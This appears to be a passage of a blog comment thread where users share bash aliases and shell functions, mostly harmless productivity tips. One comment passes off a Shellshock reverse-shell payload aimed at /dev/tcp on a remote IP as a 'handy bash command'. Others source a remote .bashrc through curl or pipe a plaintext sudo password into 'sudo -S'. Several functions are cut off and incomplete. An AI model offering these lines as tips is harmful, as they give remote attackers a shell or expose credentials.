Edited by Admin as requested by OP.
66 Eduard Seifert February 23, 2013 at 6:44 pm
alias clear=’printf “33c”‘
67 Eduard Seifert February 23, 2013 at 6:44 pm
alias clear='printf "33c"'
68 DarrinMeek February 26, 2013 at 3:11 am
I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html
69 muratkarakus March 1, 2013 at 5:02 pm
Nowadays, git is so popular, we can not miss it
These are my git aliases
alias g=”git”
alias gr=”git rm -rf”
alias gs=”git status”
alias ga=”g add”
alias gc=”git commit -m”
alias gp=”git push origin master”
alias gl=”git pull origin master”
70 muratkarakus March 1, 2013 at 6:16 pm
alias sd=”echo michoser | sudo -S”
alias ai=”sd apt-get –yes install”
alias as=”apt-cache search”
alias ar=”sd apt-get –yes remove”
alias .p=”pushd .”
alias p.=”popd”
71 Tolli March 2, 2013 at 8:35 pm
Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).
72 Chris F.A. Johnson March 11, 2013 at 6:14 pm
I don’t use aliases. As the bash man page says:
“For almost every purpose, aliases are superseded by shell functions.”
At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.
73 Benny October 22, 2013 at 8:02 pm
Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?
74 Henrik Kjelsberg March 6, 2014 at 8:06 am
Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick :)
75 TD August 7, 2014 at 8:00 am
Who says you can’t use your own aliases when working on a box?
. <(curl -sS domain.tld/scripts/.bashrc)
76 r0tty October 3, 2014 at 8:28 am
This is completely brilliant – I am implementing it now.
Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.
Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.
77 griswolf March 11, 2013 at 7:24 pm
The aliases that I use the most (also a lot of shell functions):
alias j=’jobs -l’
alias h=’history’
alias la=’ls -aF’
alias lsrt=’ls -lrtF’
alias lla=’ls -alF’
alias ll=’ls -lF’
alias ls=’ls -F’
alias pu=pushd
alias pd=popd
alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command
78 Gary March 27, 2013 at 9:15 am
Sizes of the directories in the current directory
alias size=’du -h –max-depth=1′
79 RajaSekhar April 2, 2013 at 2:56 am
Useful alias. Thanks mates.
I find the following useful too
alias tf='tail -f '
# grep in *.cpp files
alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always '
# grep in *.cpp files
alias findhg='find . -iname "*.h" | xargs grep -ni --color=always '
#finds that help me cleanup when hit the limits
alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 5000) print \$0 }'"
alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( \$1 > 500000) print \$0 }'"
#show only my procs
alias psme='ps -ef | grep $USER --color=always '
80 Carsten April 5, 2013 at 1:06 pm
Very nice alias list.
Here’s another very handy alias:
alias psg='ps -ef | grep'
ex: looking for all samb processes:
psg mbd
81 Justin Garrison October 22, 2014 at 3:13 pm
Try this one instead. It will remove the search from your results
psg='ps aux | grep -v grep | grep -i -e VSZ -e'
82 phillip April 6, 2013 at 6:23 am
Here is the most important alias:
alias exiy=’exit’
83 Thilo Six April 8, 2013 at 2:20 pm
I did learn some new things. Thanks for that.
# Do not wait interval 1 second, go fast #
alias fastping=’ping -c 100 -s.2′
From reading the man page i gather the ‘-s’ should be ‘-i’ instead.
-s packetsize
Specifies the number of data bytes to be sent.
-i interval
Wait interval seconds between sending each packet. The
default is to wait for one second between each packet
normally, or not to wait in flood mode. Only super-user
may set interval to values less 0.2 seconds.
84 Thomas April 9, 2013 at 3:44 pm
Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.
bu() { cp $@ $@.backup-`date +%y%m%d`; }
Add to .bashrc or .profile and type: “bu filename.txt”

I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:
bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }
I hope someone finds this helpful!
85 ahmed April 21, 2013 at 1:03 am
i did!
thanks a lot
86 Benny October 22, 2013 at 7:41 pm
Excellent idea, Thomas!
87 Ingo November 22, 2013 at 7:51 pm
Great idea! Will add this one to my aliases!
Is there a specific reason to use $@ instead of $1?
I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:
bu() { cp “$1″ “$1″.backup-`date +%y%m%d`; }
88 Dean September 23, 2014 at 5:13 pm
Brilliant. Thanks.
I use this before I edit any config file I might need/want to change back later.
I also added %H%M%S so I can save a copy each time without dupe file names.
Thanks again.
I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….
89 Russ Thompson April 25, 2013 at 2:34 am
I am learning to love simple functions in .bashrc
mcd () {
mkdir -p $1;
cd $1
But the great aliases are in the cmd prompt under windoze:
run doskey /macrofile=\doskey.mac
then set up a doskey,mac in root directory with the CORRECT commands
ls=dir $* /o/w
cat=type $*
rm=del $*
lsl=dir $* /o/p
yes, I have to work in the sludgepit, but I can fix the command set
90 Andrew May 1, 2013 at 8:44 pm
Since I work in a number of different distributions, I concatenated 17 and 18:
case $(lsb_release -i | awk ‘{ print $3 }’) in
alias apt-get=”sudo apt-get”
alias updatey=”sudo apt-get –yes”
alias update=’sudo apt-get update && sudo apt-get upgrade’
alias update=’yum update’
alias updatey=’yum -y update’
Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.
91 Aaron Goshine May 5, 2013 at 3:27 am
alias gtl=’git log’
alias gts=’git status’
92 Dan May 29, 2013 at 3:53 pm
I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:
alias kk=’sudo kill’ # Expecting a pid
pss() {
[[ ! -n ${1} ]] && return; # bail if no argument
pro=”[${1:0:1}]${1:1}”; # process-name –> [p]rocess-name (makes grep better)
ps axo pid,command | grep -i ${pro}; # show matching processes
pids=”$(ps axo pid,command | grep -i ${pro} | awk ‘{print $1}’)”; # get pids
complete -W “${pids}” kk # make a completion list for kk
Now I can do (for example):
zulu:/Users/frank $ pss ssh
3661 /usr/bin/ssh-agent -l
2845 ssh -Nf -L 15900:localhost:5900 homemachine@dyndns.org
zulu:/Users/frank $ kk 2 (hit escape key to complete 2845)
zulu:/Users/frank $
93 Philip Vanmontfort June 1, 2013 at 3:31 pm
Hey, very useful tips!
here’s mine:
chmoddr()   {
  # CHMOD _D_irectory _R_ecursivly
  if [ -d "$1" ]; then
   echo "error: please use the mode first, then the directory";
   return 1;
  elif [ -d "$2" ]; then
   find $2 -type d -print0 | xargs -0 chmod $1;
  if [ "$#" -lt 1 ]; then   echo "not enough arguments";    return 1;  fi
  echo "resistence is futile! $1 will be assimilated";
  if [ "$2" != "" ]; then
    _assimilate_opts=" -p$2 ";
  ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1;
  if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi
  ### begin assimilation
  # copy files
  scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~;
  scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~;
  # import ssh key
  if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then
    ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1";
    ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys"
  ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh";
  ### END
  ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null;
94 harry June 4, 2013 at 2:59 am
Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.
alias watchtail=’watch -n .5 tail -n 20′
alias watchdir=’watch -n .5 ls -la’
alias watchsize=’watch -n .5 du -h –max-depth=1′
95 harry June 4, 2013 at 3:09 am
I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.
96 Bob September 20, 2013 at 4:36 pm
tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch
tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)
97 greg June 7, 2013 at 4:19 pm
I have the same “ll” alias, I use constantly. Here are a few others:
# grep all files in the current directory
function _grin() { grep -rn --color $1 .;}
alias grin=_grin
# find file by name in current directory
function _fn() { find . -name $1;}
alias fn=_fn
98 Philip Vanmontfort June 17, 2013 at 5:50 pm
I published my .bashrc:
99 Philip Vanmontfort April 17, 2014 at 12:44 pm
100 selfthinker June 29, 2013 at 5:40 pm
three letters to tune into my favorite radio stations
alias dlf=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dlf.m3u|head -1)”
alias dlr=”/usr/local/bin/mplayer -nocache -audiofile-cache 64 -prefer-ipv4 $(GET http://www.dradio.de/streaming/dkultur.m3u|head -1)”
sometimes I swap my keyboards, then I use
alias tastatur=”setxkbmap -model cherryblue -layout de -variant ,nodeadkeys”
When using mplayer you may set bookmarks using ‘i’. You may read it easyer using
mplay() {
 export EDL=”$HOME/.mplayer/current.edl”
 /usr/local/bin/mplayer -really-quiet -edlout $EDL $* ;
 echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 )
Buring ISO-images does not need starting GUIs and clicking around
alias isowrite=”cdrecord dev=1,0,0 fs=32M driveropts=burnfree speed=120 gracetime=1 -v -dao -eject -pad -data
Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.
101 LinuxGeek July 16, 2013 at 3:28 pm
Really useful command
102 Erik July 16, 2013 at 9:01 pm
In 30 years of living at the *nix commandline I found that I really only need 2 aliases
for my bash shell (used to be ksh, but that’s been a while)
  alias s=less        # use less a lot to see config files and logfiles
  alias lst='ls -ltr'   # most recently updated files last
when checking for servers and tcp ports for a non root user these are also handy
  alias myps='ps -fHu $USER'     # if not $USER, try $LOGIN
  alias myports="netstat -lntp 2>/dev/null | grep -v ' - *$'"  # Linux only?
103 Tim August 10, 2013 at 1:44 pm
I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
alias mmm=”/standard/target/directory/”
cp /various/file/source mmm
but this doesn’t work: just creates a duplicate named mmm
Is there a way to do this?
104 nixCraft August 11, 2013 at 8:15 am
Add mmm to $HOME/.bashrc as follows:
export mmm="/standard/target/directory/"
Logout and login again. Verify that $mmm is set:
echo $mmm
Now run the command:
cp /various/file/source $mmm
105 Tim August 12, 2013 at 4:52 am
Thank you very much!
106 sandeep September 3, 2013 at 10:01 am
107 Salvatore September 8, 2013 at 1:56 pm
Very nice and useful, thank you!
108 Morgan Estes September 17, 2013 at 10:01 pm
I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:
alias untar='tar -zxvf'
109 Michael J September 27, 2013 at 4:06 pm
I use this “alias” — its really a function — to do a quick check of JSON files on the command line:
function json() { cat “$@” | /usr/bin/python -m json.tool ;}
usage: json file.json
If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.
Works great for quickly testing JSON files!
110 Erwan October 7, 2013 at 8:21 pm
Nice list, this file is so great for repetitive tasks.
Here’s mine.
111 Eric October 10, 2013 at 6:29 pm
This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
Thanks to James from comment #28 it now doesn’t include the command its self in the list!
# grep command history.  Uses function so a bare 'gh' doesn't just hang waiting for input.
function gh () {
  if [ -z "$1" ]; then
    echo "Bad usage. try:gh run_test";
    history | egrep $* |grep -v "gh $*"
I also offer this modification to your #8
alias h='history 100'     # give only recent history be default.
other favorites of mine, all taken from elsewhere, are:
alias wcl='wc -l'        # count # of lines
alias perlrep='perl -i -p -e '               # use perl regex to do find/replace in place on files.  CAREFUL!!
# list file/folder sizes sorted from largest to smallest with human readable sizes
function dus () {
du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %s\n",res,$2 }'
112 Brian October 26, 2013 at 12:08 am
Alias the word unalias into a 65000 character long password… :)
113 Brian October 26, 2013 at 12:11 am
Likewise alias bin.bash as $=unalias-1
114 TimC November 13, 2013 at 11:37 pm
So you are not truly lazy until you see this in somebody’s alias file
alias a=’alias’
115 Jim C December 12, 2013 at 5:54 pm
It’s a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
I usually name it tcan or tcn.
116 rne December 28, 2013 at 8:08 pm
just use Ctrl-D
117 Mikkel January 1, 2014 at 9:38 pm
On OS-X 10.9 replace ‘ls –color=auto’ with ‘ls -G’
118 Robert February 12, 2014 at 3:40 am
# Define a command to cd then print the resulting directory.
# I do this to avoid putting the current directory in my prompt.
alias cd=’cdir’
function cdir ()
\cd “$*”
119 shanker February 12, 2014 at 10:30 am
function mkcd(){
mkdir -p $1
cd $1
120 Brian C February 13, 2014 at 5:12 pm
Lots of great suggestions here.
I use so many aliases and functions that I needed one to search them.
function ga() { alias | grep -i $*; functions | grep -i $*}
This is not so nice with multiple line functions and could be improved with a clever regex.
121 Jules J February 20, 2014 at 2:28 pm
# Find a file from the current directory
alias ff='find . -name '
# grep the output of commands
alias envg='env | grep -i'
alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i'
alias aliasg='alias | grep -i'
alias hg='history | grep -i'
# cd to the directory a symbolically linked file is in.
function cdl {
    if [ "x$1" = "x" ] ; then
        echo "Missing Arg"
    elif [ -L "$1" ] ; then
        link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10`
        if [ "x$link" = "x" ] ; then
            echo "Failed to get link"
        dirName_=`dirname $link`
        cd "$dirName_"
        echo "$1 is not a symbolic link"
# cd to the dir that a file is found in.
function cdff {
    filename=`find . -name $1 | grep -iv "Permission Denied" | head -1`
    if [ "xx${filename}xx" != "xxxx" ] ; then
        if [ -d $dirname ] ; then
            cd $dirname
122 Rich February 28, 2014 at 7:21 am
export EDITOR=vim
export PAGER=less
set -o vi
eval `resize`
# awk tab delim  (escape '\' awk to disable aliased awk)
tawk='\awk -F "\t" '
# case insensitive grep
alias ig="grep --color -i "
# ls sort by time
alias lt="ls -ltr "
# ls sort by byte size
alias lS='ls -Slr'
# ps by process grep  (ie. psg chrome)
alias psg='\ps -ef|grep --color '
# ps by user
alias psu='\ps auxwwf '
# ps by user with grep (ie. psug budman)
alias psug='psu|grep --color '
# find broken symlinks
alias brokenlinks='\find . -xtype l -printf "%p -> %l\n"'
# which and less a script (ie. ww backup.ksh)
function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi }
# use your own vim cfg (useful when logging in as other id's)
alias vim="vim -u /home/budman/.vimrc"
123 Rich February 28, 2014 at 7:21 am
For those of you who use Autosys:
# alias to read log files based on current run date (great for batch autosys jobs)
# ie.  slog mars-reconcile-job-c
export RUN_DIR=~/process/dates
function getRunDate {
    print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile)
function getLogFile {
    print -n $RUN_DIR/$(getRunDate)/log/$1.log
function showLogFile {
    export LOGFILE=$(getLogFile $1);
    print "\nLog File: $LOGFILE\n";
    less -z-4 $LOGFILE;
alias slog="showLogFile "
# Autosys alaises
alias av="autorep -w -J "
alias av0="autorep -w -L0 -J "
alias avq="autorep -w -q -J "
alias aq0="autorep -w -L0 -q -J "
alias ava="autorep -w -D PRD_AUTOSYS_A -J "
alias avc="autorep -w -D PRD_AUTOSYS_C -J "
alias avt="autorep -w -D PRD_AUTOSYS_T -J "
alias am="autorep -w -M "
alias ad="autorep -w -d -J "
alias jd="job_depends -w -c -J "
alias jdd="job_depends -w -d -J "
alias jrh="jobrunhist -J "
alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J "
alias runjob="sendevent -P 1 -E STARTJOB -J "
alias killjob="sendevent -P 1 -E KILLJOB -J "
alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J "
alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J "
alias onice="sendevent -P 1 -E JOB_ON_ICE -J "
alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J "
alias office="sendevent -P 1 -E JOB_OFF_ICE -J "
alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J "
alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J "
alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J "
alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX"
alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX"
alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX"
alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"
124 mithereal March 23, 2014 at 10:26 pm
heres a few i use
alias killme='slay $USER'
function gi(){
npm install --save-dev grunt-"$@"
function gci(){
npm install --save-dev grunt-contrib-"$@"
125 sjas April 27, 2014 at 2:20 pm
alias v='vim'
alias vi='vim'
alias e='emacs'
alias t='tail -n200'
alias h='head -n20'
alias g='git'
alias p='pushd'
alias o='popd'
alias d='dirs -v'
alias rmf='rm -rf'
# ls working colorful on all OS'es
if [[ `uname` == Linux ]]; then
    export LS1='--color=always'
elif [[ `uname` == Darwin* ]]; then
    export LS1='-G'
    export LS1='--color=auto'
export LS2='-hF --time-style=long-iso'
alias l='ls $LS1 $LS2 -AB'
126 jfb May 24, 2014 at 2:07 pm
Here is one to do a update and upgrade with no user input. Just insert your sudo
password for yourpassword
alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’
127 Henrik Kjelsberg May 27, 2014 at 5:59 pm
Having your password lying around in plain text is never a good idea.
128 jfb May 28, 2014 at 7:28 pm
I am the only one who uses this computer. My daughter, granddaughter, daughter’s
boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.
129 AndyB July 11, 2014 at 2:46 am
If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).
jfb ALL=(root) NOPASSWD: /usr/bin/apt-get
Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.
130 Xdept July 2, 2014 at 2:14 am
Hey, Just wanted to add my 5 cents.
I use this to make me think before rebooting/shutting down hosts;
alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’
alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’
131 Niall July 23, 2014 at 12:09 am
Thank you. Great list.
132 David August 22, 2014 at 12:41 am
#2: Control cd command behavior
## get rid of command not found ##
alias cd..=’cd ..’
## a quick way to get out of current directory ##
alias ..=’cd ..’
alias …=’cd ../../../’
alias ….=’cd ../../../../’
alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
alias .4='cd ../../../../'
alias .5='cd ../../../../..'
133 Lyo Mi September 26, 2014 at 5:50 pm
There’s another handy bash command I’ve come by recently in the past days.
() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1
134 foo October 22, 2014 at 12:23 am
shellshock douchebaggery
135 James November 11, 2014 at 1:58 am
Here are a couple that I have to make installing software on Ubuntu easier:
alias sdfind='~/bin/sdfind.sh'
alias sdinst='sudo apt-get install'
136 EricC November 15, 2014 at 10:38 pm
Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.
137 hiatus November 20, 2014 at 12:19 am
# Find all IP addresses connected to your network
alias netcheck='nmap -sP $(ip -o addr show | grep inet\  | grep eth | cut -d\  -f 7)'
138 hiatus November 20, 2014 at 12:22 am
# See real time stamp when running dmesg
alias dmesg='dmesg|perl -ne "BEGIN{\$a= time()- qx:cat /proc/uptime:};s/\[\s*(\d+)\.\d+\]/localtime(\$1 + \$a)/e; print \$_;" | sed -e "s|\(^.*"`date +%Y`" \)\(.*\)|\x1b[0;34m\1\x1b[0m - \2|g"'
139 faegt November 20, 2014 at 11:05 am
You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…
140 hiatus November 20, 2014 at 9:11 pm
# Nice readable way to see memory usage
alias minfo='egrep "Mem|Cache|Swap" /proc/meminfo'
141 hiatus November 20, 2014 at 11:57 pm
# Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb
myusb () { usb_array=();while read -r -d $'\n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname \*usb\*scsi\* -not -iname \*usb\*scsi\*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }
142 koosha December 7, 2014 at 4:00 am
And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.
Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.
143 Andreas Dunker January 13, 2015 at 9:15 am
It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:
alias gr=”grep -E -i –color”
And remember the man page:
“For almost every purpose, aliases are superseded by shell functions.”
144 proz January 27, 2015 at 5:55 pm
Is passing all commands via sudo safe?

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